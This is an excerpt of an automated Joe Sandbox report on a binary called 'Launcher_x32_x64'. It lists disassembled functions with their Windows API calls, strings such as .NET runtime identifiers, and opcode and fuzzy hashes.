Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: _errno$__stdio_common_vsnprintf_s
String ID:
API String ID: 2452351950-0
Opcode ID: f1ff2712856a42f486f31a23a950dea07be3bd65e8dae41fee26383c396bd78d
Instruction ID: ec0b9497cffd429543b387158a4b55f7054ffa26f29384de7da31ca8c3b7f7cb
Opcode Fuzzy Hash: f1ff2712856a42f486f31a23a950dea07be3bd65e8dae41fee26383c396bd78d
Instruction Fuzzy Hash: 9531E532200200DFDF159E59DC64A69779AEB95365F04C159F99A872E0DB32A840E760

Function 00E689F0 Relevance: 7.6, APIs: 6, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,95E4D7D1,?), ref: 00E68A45
HeapFree.KERNEL32(00000000,?,95E4D7D1,?), ref: 00E68A72
HeapFree.KERNEL32(00000000,?,95E4D7D1,?), ref: 00E68A9F
HeapFree.KERNEL32(00000000,?,95E4D7D1,?), ref: 00E68AC9
HeapFree.KERNEL32(00000000,?,95E4D7D1,?), ref: 00E68AF3
HeapFree.KERNEL32(00000000,?,95E4D7D1,?), ref: 00E68B1D

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d10fd3c3a56955fda6a6398f4ce9845fd8d9aa331d3c7717637d3bfe403b376b
Instruction ID: 953d175da6e27ee3f49939256d2267d1e6224346bc80411cd52b06c5b730297c
Opcode Fuzzy Hash: d10fd3c3a56955fda6a6398f4ce9845fd8d9aa331d3c7717637d3bfe403b376b
Instruction Fuzzy Hash: 3A414270544344EFEB61CF78EA88B59BFF8AB05358F18C299E844E72A1DB749E04CB51

Function 0109D540 Relevance: 7.6, APIs: 5, Instructions: 99processmemoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E,95E4D7D1,00000001,?,?), ref: 0109D5BD
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000001,?,00000000,00000000,?,?), ref: 0109D60D
GetLastError.KERNEL32 ref: 0109D615
HeapFree.KERNEL32(00000000,00000000), ref: 0109D632
SetLastError.KERNEL32(00000000), ref: 0109D643

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast$CreateFreeHeapProcess
String ID:
API String ID: 503317581-0
Opcode ID: c4f0a797a5b735f5a2e34e627682e6727c883a9093e5f27fa6409d367a3c1e63
Instruction ID: 730cea6e5e10f804e52240666e0c2042021d187c66cfdfb3a49b28f4ccfc013f
Opcode Fuzzy Hash: c4f0a797a5b735f5a2e34e627682e6727c883a9093e5f27fa6409d367a3c1e63
Instruction Fuzzy Hash: 62310976A04305ABCB20DFA8DD55BAEBBF9FB49720F10422AF915E33D0D77259008B50

Function 0113E380 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000,00000000,Microsoft-DotNETCore-SampleProfiler,014B6530,0114547A), ref: 0113E397
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000,?), ref: 0113E3A7
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000), ref: 0113E3C2
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000), ref: 0113E3CD

Strings

Microsoft-DotNETCore-SampleProfiler, xrefs: 0113E381, 0113E38F, 0113E3BA

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID: Microsoft-DotNETCore-SampleProfiler
API String ID: 2605342592-2073707973
Opcode ID: 97f844bbfdd26f43f4f3f5fa54ce6fde167f395da974555c891ef820b8c15eeb
Instruction ID: 011f3af14117be33d04fc7fb94b70fc21bfda7da220479fedb3a68b692d94053
Opcode Fuzzy Hash: 97f844bbfdd26f43f4f3f5fa54ce6fde167f395da974555c891ef820b8c15eeb
Instruction Fuzzy Hash: A1F02B7174A32127F7343AAE7C59F672A5CDFC1B71F280339FA25EA2D8DB9184048261

Function 010C3240 Relevance: 7.5, APIs: 5, Instructions: 37pipeCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,01149ECA,?,00000000,?,00000000), ref: 010C3257
DisconnectNamedPipe.KERNEL32(?,?,01149ECA,?,00000000,?,00000000), ref: 010C3281
CloseHandle.KERNEL32(?,?,01149ECA,?,00000000,?,00000000), ref: 010C328D
CloseHandle.KERNEL32(?,?,01149ECA,?,00000000,?,00000000), ref: 010C32A9
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,01149ECA,?,00000000,?,00000000), ref: 010C32E2

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CloseHandle$DisconnectNamedPipefree
String ID:
API String ID: 94250983-0
Opcode ID: 07d02d63db6f5544d9a9c3fe43dba1b138f2f91dc100de26ec1b0129200cd795
Instruction ID: 9109722f49ff4648c1f5c51667981991db5c4e010f7a236f6bd1d946df76c2ed
Opcode Fuzzy Hash: 07d02d63db6f5544d9a9c3fe43dba1b138f2f91dc100de26ec1b0129200cd795
Instruction Fuzzy Hash: E201ED70400B108BD6755F3CD4597DA7AE9BB06735F108B0CE1F6861D0C77564458F90

Function 0109D900 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,00000000), ref: 0109D982
GetLastError.KERNEL32 ref: 0109D9AE
SetLastError.KERNEL32(00000000,00000000), ref: 0109DAB8

Strings

COMPlus_, xrefs: 0109D914

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: COMPlus_
API String ID: 2691138088-665472478
Opcode ID: 90ea2f1072c43bb9f72c065c1e535a103d2385f9e1225b023cbbcb0d8dad6515
Instruction ID: 2f860199f110ce80f6d3b189b2c9107dd16183398ad7ddaa6e17961069535c27
Opcode Fuzzy Hash: 90ea2f1072c43bb9f72c065c1e535a103d2385f9e1225b023cbbcb0d8dad6515
Instruction Fuzzy Hash: 7321D1B2D05218AFDB10DF98D995BAFBBFDEB48314F10426AE815E3380D7795A048BD1

Function 00E80670 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0109DAF0: LoadLibraryExW.KERNELBASE(?,00000000,?,?,?,00000000,FaultRep.dll,95E4D7D1,00000001,?,?), ref: 0109DC41
Part of subcall function 0109DAF0: GetLastError.KERNEL32 ref: 0109DC4F
Part of subcall function 0109DAF0: SetLastError.KERNEL32(00000000), ref: 0109DD84

GetProcAddress.KERNEL32(00000000,ReportFault), ref: 00E80697
FreeLibrary.KERNEL32(00000000,?,00E807E3), ref: 00E806B5

Strings

ReportFault, xrefs: 00E80691
FaultRep.dll, xrefs: 00E8067B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLastLibrary$AddressFreeLoadProc
String ID: FaultRep.dll$ReportFault
API String ID: 1529210728-3658453154
Opcode ID: 572ca193899edec8b2742e2ff98a073105d6c320942fd546271f5adbbc522781
Instruction ID: 28bc18535a9c355b96b6f4c47113f9bde55753b0e14bc9f215537e898580d6cd
Opcode Fuzzy Hash: 572ca193899edec8b2742e2ff98a073105d6c320942fd546271f5adbbc522781
Instruction Fuzzy Hash: A2012636B003145BC7216B9ABCA4B6D779DDBC5321F04007AEE0DE7350DAB18C094790

Function 00F07380 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43filestringCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00000000,?), ref: 00F0738C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(Fatal error. ), ref: 00F07396
WriteFile.KERNEL32(?,Fatal error. ,00007FFF,?,00000000,00000000), ref: 00F073C5

Strings

Fatal error. , xrefs: 00F07392, 00F073C3

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FileHandleWritestrlen
String ID: Fatal error.
API String ID: 1058883207-2319153378
Opcode ID: 48c56dbacc455628c7a22d0748da58776aecfec6dc009632fe15edf9d708f837
Instruction ID: f29173f4816ca32ffbc02cd2abd433283b6f98e6d2023fb207de0334c0087caa
Opcode Fuzzy Hash: 48c56dbacc455628c7a22d0748da58776aecfec6dc009632fe15edf9d708f837
Instruction Fuzzy Hash: C6F06271E0831567DB3096BDBC88A6ABAACDB80771F1442A5ED19D32D0DB70AD04F6A0

Function 0112D690 Relevance: 6.5, APIs: 5, Instructions: 293memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0112D845
HeapFree.KERNEL32(00000000,?), ref: 0112D8D5
HeapFree.KERNEL32(00000000,?), ref: 0112D913
HeapFree.KERNEL32(00000000,?), ref: 0112D9BA
HeapFree.KERNEL32(00000000,?), ref: 0112D9D6

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4c30f67db8780a68c78a1e20833acbdc02835bddb749025627a281fa04485d5a
Instruction ID: 494a46bd9e73b97eb0d2c509928e851ddc7a612be21769132e3dc8b8444bc603
Opcode Fuzzy Hash: 4c30f67db8780a68c78a1e20833acbdc02835bddb749025627a281fa04485d5a
Instruction Fuzzy Hash: C4B18371E002599FDF24DFE8E884BEEBBB9EF18304F14412AE905B7245E770A955CB90

Function 01137530 Relevance: 6.5, APIs: 5, Instructions: 288memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 011376DA
HeapFree.KERNEL32(00000000,?), ref: 0113776A
HeapFree.KERNEL32(00000000,?), ref: 011377A8
HeapFree.KERNEL32(00000000,?), ref: 0113784B
HeapFree.KERNEL32(00000000,?), ref: 01137867

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: be828f4871cb0c6ad8bc002c613cc907ab0bc2ec67ec649c0e95f53b4f27e738
Instruction ID: 52a723fcb697b541e1d9fa25be9558097f43d5a7787965fe702788cf3caa4a1f
Opcode Fuzzy Hash: be828f4871cb0c6ad8bc002c613cc907ab0bc2ec67ec649c0e95f53b4f27e738
Instruction Fuzzy Hash: 61B183B1D0021DDBEF25DFA8D898BEEBBB8EF58304F144129E905B7285D730A945CB90

Function 01137890 Relevance: 6.5, APIs: 5, Instructions: 288memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 01137A3A
HeapFree.KERNEL32(00000000,?), ref: 01137ACA
HeapFree.KERNEL32(00000000,?), ref: 01137B08
HeapFree.KERNEL32(00000000,?), ref: 01137BAB
HeapFree.KERNEL32(00000000,?), ref: 01137BC7

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a4a34338b8b5c8b04ac658f6b8c8d909d070cde150944128cf676580caa5143f
Instruction ID: 6ec4b83e8aaab561b7b8a5d21d958dd80d43877e329b676d08e63704c840f0a2
Opcode Fuzzy Hash: a4a34338b8b5c8b04ac658f6b8c8d909d070cde150944128cf676580caa5143f
Instruction Fuzzy Hash: 7DB194B1D0021D9FDF25DFA8D884BEEBBB8EF49344F144125E905B7289E730A945CB90

Function 010965B0 Relevance: 6.2, APIs: 4, Instructions: 232windowCOMMON

Download Yara Rule

APIs

Part of subcall function 01094940: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 01094A56

FormatMessageW.KERNEL32(00000002,?,95E4D7D1,00000000,?,00000000,014BC19C,?,00000004,00000000,95E4D7D1,?,?,?,000000FF), ref: 01096700
FormatMessageW.KERNEL32(00000002,?,95E4D7D1,00000000,00000000,00000000,014BC19C,95E4D7D1,?,?,?,000000FF,?,0108A61F,000010FF,00000000), ref: 0109678D
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000000,-00000002,00000004,00000000,?,?,?,000000FF,?,0108A61F,000010FF,00000000), ref: 01096811
LocalFree.KERNEL32(00000000,?,?,?,000000FF,?,0108A61F,000010FF,00000000), ref: 01096838

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FormatFreeMessage$HeapLocalwcscpy_s
String ID:
API String ID: 2823936367-0
Opcode ID: a8e0c6766ae0b3e6a4fd5c1f60a7e53bdf72b8bad56eb97dd5bc3247d4548744
Instruction ID: df02d643c14ef17451a74a1c7841aad6d1292ae878808cb9e0e0e1b12e2d5371
Opcode Fuzzy Hash: a8e0c6766ae0b3e6a4fd5c1f60a7e53bdf72b8bad56eb97dd5bc3247d4548744
Instruction Fuzzy Hash: 75913874A006189FDF14DF58D8A4BAEBBF5FF48324F048159E855EB390DB75A905CB80

Function 011482F0 Relevance: 6.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22046ab437a21e696119c7f69f8364af0af73695f5fed61c491188b3237f437
Instruction ID: f26a41defad214cad1e464a78eaf73f2c59007d010a53fc8ebb7949f032d044d
Opcode Fuzzy Hash: c22046ab437a21e696119c7f69f8364af0af73695f5fed61c491188b3237f437
Instruction Fuzzy Hash: FD61A071E04209DFDB18CF98D895BAEBBF4FB44714F10416DE809A7390DB71AA05CB90

Function 00FF5300 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?), ref: 00FF54C4

Strings

Message: , xrefs: 00FF53AA
Exception Info: , xrefs: 00FF5415
Contract details: , xrefs: 00FF5492

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: Contract details: $Exception Info: $Message:
API String ID: 3298025750-1860525982
Opcode ID: 1de1a607cb70545e73f7e74974c3830d406fe1f285099f3afdf5a174f0add2a9
Instruction ID: 5acd46daacc66eeed08b8ad10470c811cf2978327ab2b6893c9b27377ae36077
Opcode Fuzzy Hash: 1de1a607cb70545e73f7e74974c3830d406fe1f285099f3afdf5a174f0add2a9
Instruction Fuzzy Hash: 82515BB0D04308EBDB10DFA4E999BAEBBF4FF14714F60412AE505E72A0E7746A09CB50

Function 01134380 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00000002,?,00000001,000000A8,?), ref: 0113443F
HeapFree.KERNEL32(00000000,?,000000A8,?), ref: 011344E9
HeapFree.KERNEL32(00000000,?,000000A8,?), ref: 01134505

Strings

NULL, xrefs: 011343C5, 01134464

